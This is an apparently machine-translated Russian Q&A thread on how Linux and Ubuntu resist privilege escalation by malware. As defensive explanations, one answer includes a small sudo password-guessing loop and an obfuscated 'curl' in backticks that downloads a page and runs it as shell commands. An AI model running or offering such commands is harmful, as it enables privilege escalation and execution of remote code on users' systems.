Как система защищена?
Я понимаю, что если какая-либо вредоносная программа проникнет в систему Linux, она, в лучшем случае, получит привилегию уровня пользователя и разрушит все, что находится в пределах досягаемости конкретного пользователя, то есть собственные файлы пользователя.
Но что именно мешает вредоносным программам получить доступ на уровне root? Разве это не может как-то взломать пароль изнутри?
2 ответа
Это сложный вопрос. В системе Ubuntu есть много разных уровней безопасности, от сложных сред, таких как AppArmor, до простых переменных ядра, таких как mmap_min_addr
, Вы можете добавить некоторые функции ядра, такие как рандомизация памяти в миксе. Вы можете найти их список вместе с краткими пояснениями в Ubuntu Wiki.
Другим важным фактором является то, что обновления выполняются быстро и просто - поэтому большинство компьютеров будут обновлены до последних исправлений безопасности.
Насколько я знаю, у злоумышленника, получившего локальный доступ к вашему компьютеру, есть три способа масштабирования привилегий ядра:
Взломай пароль. Но это будет действительно сложно, пароль хранится в зашифрованном виде с использованием алгоритмов без известных недостатков. Потребуются века, чтобы взломать это.
Ошибка в ядре. Но все функции безопасности ядра будут мешать.
Уловка пользователя, чтобы выдать пароль, то есть социальная инженерия. Просто покажите диалог с фальшивым паролем или воспользуйтесь другим приемом. Это самый простой способ сделать это.
Третий момент - самая слабая уязвимость на данный момент.
Взломать пароль пользователя root невозможно, потому что Ubuntu по умолчанию отключил пользователя root. Однако, если ваш пользователь может стать пользователем root с помощью sudo, а ваш пароль легко угадать / перебор, значит, у вас небезопасная система. Пример скрипта, пытающегося проверить пароль:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
Добавление ненадежного репозитория позволяет устанавливать программы из этого репозитория. Даже если вы не устанавливаете приложение явно sudo apt-get install [app-from-repo]
репозиторий все еще может влиять на другие программы, заставляя Ubuntu полагать, что репозиторий содержит более новую версию определенной программы.
Процесс обновления запускается с правами root, иначе файлы не могут быть записаны в /usr/bin
или же /etc
, Триггер установки также запускается от имени пользователя root и может запускаться произвольно, а возможно, и вредными командами. Теперь не беспокойтесь, для обновления программ необходимы ручные действия, а репозитории Ubuntu безопасны. Программное обеспечение с закрытым исходным кодом, такое как Windows, никогда не может быть полностью доверенным, поскольку вы не можете проверить источник на наличие вредоносного кода, но вы можете просмотреть источник приложения Ubuntu, если вам нужно (не относится к проприетарным программам, таким как sun-java6
или Flash).
Как упомянул Хавьер Ривера, ошибки в ядре могут привести к выполнению произвольного кода, но программное обеспечение с ошибками, возможно, также опасно, особенно с ошибками setsuid
корневые двоичные файлы (двоичные файлы, которые будут запускаться с правами владельца файла) и другие программы с ошибками, работающие от имени пользователя root.
Вы можете создать дыры в безопасности своей системы, если не обращаете внимания на то, что делаете. Например, без полного понимания концепции cronjobs, вы добавили cronjob в /etc/cron.daily
который запускает программу в вашей домашней папке (например, /bin/sh /home/your-username/myscript.sh
, Если файл myscript.sh доступен для записи вами, вы можете удалить его, эксплойт может поместить вредоносный код в myscript.sh
который будет запускаться от имени root (повышение привилегий).
Чтобы оставаться в безопасности, используйте свой разум! Не запускайте команды из ненадежных источников, если вы не знаете, что он делает. Если кто-то говорит, беги `curl 3221233674`
с галочками, не надо. 3221233674 это еще один способ записи 192.0.32.10
(IP-адрес example.com). Итак, это будет равно:
`curl http://example.com/`
Эти обратные галочки заставляют вывод выполняться как команды оболочки. На простом английском языке: "Загрузите страницу http://example.com/ и попробуйте выполнить загруженную страницу".
Во-первых, в данной команде вы не увидите ничего вредоносного. Но теперь вы знаете, что этим тоже можно злоупотреблять.
Всегда проверяйте команды / сценарии, которые вы получаете из ненадежных источников, таких как Интернет.